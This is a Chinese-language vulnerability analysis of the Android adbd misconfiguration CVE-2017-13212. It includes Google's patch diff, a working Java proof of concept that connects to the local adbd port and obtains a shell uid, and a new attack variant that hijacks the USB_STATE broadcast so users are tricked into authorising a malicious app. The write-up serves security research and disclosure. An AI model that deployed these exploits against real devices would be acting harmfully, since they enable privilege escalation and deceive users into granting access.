ADB配置提權漏洞(CVE-2017-13212)原理與利用分析
0x01 背景
adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、螢幕截圖等等高許可權操作。不過移動端惡意應用程式必須能夠連線到adbd正在監聽的TCP埠,這就需要應用程式在它的AndroidMainifest.xml中定義INTERNET許可權。
而漏洞作者所用的攻擊方法是構造一個覆蓋視窗,劫持使用者點選,也就是經典的hijack攻擊。Google也據此修復了此種攻擊方式。
但是,我經過嘗試後發現,除了以上構造hijack攻擊視窗外,還可以劫持USB廣播,然後在使用者進行正常的連線電腦操作時,劫持授權介面,使使用者誤導從而進行授權。也即造成新的劫持授權漏洞方案。
影響:
0x02 原理分析
為了能利用此adb配置漏洞,首先需要adb connect到adbd正在監聽的埠,然後移動端會發起授權驗證視窗,使用者授權,驗證通過後,可使用adb shell命令執行shell許可權操作。
使用adb命令“adb tcpip port”來啟用adbd以監聽TCP埠
adb tcpip 5555
在啟用了USB除錯,且adbd正處於TCP埠監聽的情況下,惡意應用程式可以利用自帶的adb二進位制檔案連線adbd,或者可以實現adb server協議與adbd通訊。如果adb server尚未被裝置授權,則會觸發認證請求並提示使用者驗證並接受RSA公鑰(引用[2])。但此認證框可被覆蓋(Google已經修復),具體可見參考文章。
分析下diff:
diff --git a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java index f5447a2..329dd99 100644 --- a/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java +++ b/packages/SystemUI/src/com/android/systemui/usb/UsbDebuggingActivity.java @@ -31,8 +31,12 @@ import android.os.SystemProperties; import android.util.Log; import android.view.LayoutInflater; +import android.view.MotionEvent; import android.view.View; +import android.view.Window; +import android.view.WindowManager; import android.widget.CheckBox; +import android.widget.Toast; import com.android.internal.app.AlertActivity; import com.android.internal.app.AlertController; @@ -48,6 +52,10 @@ @Override public void onCreate(Bundle icicle) { + Window window = getWindow(); + window.addPrivateFlags(WindowManager.LayoutParams.PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS); + window.setType(WindowManager.LayoutParams.TYPE_SYSTEM_DIALOG); + super.onCreate(icicle); if (SystemProperties.getInt("service.adb.tcp.port", 0) == 0) { @@ -79,6 +87,23 @@ ap.mView = checkbox; setupAlert(); + + // adding touch listener on affirmative button - checks if window is obscured + // if obscured, do not let user give permissions (could be tapjacking involved) + //增加了對偽造視窗的認證判定,防止使用者被誤導授權 + final View.OnTouchListener filterTouchListener = (View v, MotionEvent event) -> { + // Filter obscured touches by consuming them. + if (((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0) + || ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0)) { + if (event.getAction() == MotionEvent.ACTION_UP) { + Toast.makeText(v.getContext(), + R.string.touch_filtered_warning, + Toast.LENGTH_SHORT).show(); + } + return true; + } + return false; + }; + mAlert.getButton(BUTTON_POSITIVE).setOnTouchListener(filterTouchListener); }
問題:
1. 貌似只是對偽造視窗進行了防禦,可漏洞難道不是因為TCP埠監聽而造成提權嗎? 2. 那也就是使用者授權後,依舊可以在移動端獲取shell許可權?
結論:
確實可以在移動端獲取到shell許可權
思考
那如果假設能監聽使用者是否連線USB,在使用者進行正常的USB連線PC操作時,劫持授權視窗,即彈出我們的授權,也可以造成使用者誤導授權。
結論:
確實可以構造接收廣播,當USB連線到PC時,會優先彈出我們的授權視窗,從而誤導使用者獲得授權
攻擊思路:
靜態註冊監聽USB連線狀態的廣播,優先順序設定為最高
一旦監聽到連線,啟動後臺service,執行連線命令
此時會優先彈出我們的授權視窗,由於授權視窗並沒有說明來自哪裡的彈窗,見下圖對比,僅僅是RSA指紋不同,即使是技術人員,也很難識別是來自哪裡的授權視窗。
PC端授權視窗
apk惡意授權視窗
0x03 漏洞利用
試驗環境: Android 4.4.4 Nexus 5
PC端執行
adb tcpip 5555
作者攻擊思路驗證Poc:
private void escalatePrivilege() {
/*
如果大於android 6.0
需要使用預編譯的adb可執行二進位制檔案
*/
try {
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
String[] idCmd = {"adb","shell","id"};
execCommand(connectCmd);
execCommand(idCmd);
} catch (Exception e) {
Log.d(TAG, "escalatePrivilege: " + e.toString() );
}
}
private void readData(InputStream inputStream){
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String data ;
while (true) {
try {
data = reader.readLine();
if(data == null) {
break;
}
Log.d(TAG, "output: " + data);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private Process execCommand(String[] cmds){
ProcessBuilder builder = new ProcessBuilder();
Process execCommandProcess = null;
builder.command(cmds);
builder.directory(this.getFilesDir());
builder.redirectErrorStream(true);
Map<String, String> env = builder.environment();
env.put("HOME", this.getFilesDir().toString());
env.put("TMPDIR", this.getFilesDir().toString());
try {
execCommandProcess = builder.start();
execCommandProcess.waitFor();
readData(execCommandProcess.getInputStream());
}catch (InterruptedException e){
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return execCommandProcess;
}
會彈出USB除錯授權視窗,google已經修復此覆蓋hijack漏洞。
Logcat輸出:
output: connected to 127.0.0.1:5555
output: uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:shell:s0
備註:
可能在實驗的時候,會沒有彈出授權視窗,此時刪除apk,撤銷USB授權後,重啟機器可還原環境。
0x04 思考部分攻擊思路Exp
AndroidManifest.xml 增加USB廣播:
<receiver
android:name=".UsbBroadcastReceiver"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="100">
<action android:name="android.hardware.usb.action.USB_STATE"/>
</intent-filter>
</receiver>
然後在接收廣播後,啟動service,在onStartCommand中進行連線:
public int onStartCommand(Intent intent, int flags, int startId) {
Log.d(TAG, "onStartCommand: adb vul");
String[] connectCmd = {"adb","connect","127.0.0.1:5555"};
execCommand(connectCmd);
return super.onStartCommand(intent, flags, startId);
}
此時只要使用者開啟過該惡意應用,然後連線USB至電腦,則會彈出惡意的授權視窗:
只有使用者點選一律允許後,再次連線usb才會彈出pc端的授權,也因此造成了使用者的誘導.
0x05 防禦與總結
防禦
在進行試驗的時候,漏洞利用階段相對不穩定,有時候在連線的時候,並沒有正常的彈窗,具體原因暫不明,後續有時間再研究。只要能正常彈出授權視窗,那麼以上的攻擊思路也即生效。
儘量在正規應用商店下載應用,不要授權來歷不明的PC,注意授權的指紋資訊
漏洞由於需要使用者授權,也因此嚴重程度較低
總結
正向思考: 在使用者進行正常授權後,可獲得shell許可權,也即可以在移動端實現靜默安裝、解除安裝等等功能。
通過授權劫持攻擊,惡意應用可以在使用者不知情的情況下獲取高許可權,從而對系統造成破壞。
0x06 參考
Privilege Escalation via adbd Misconfiguration 經驗分享 | 通過adbd配置漏洞在安卓裝置上提升許可權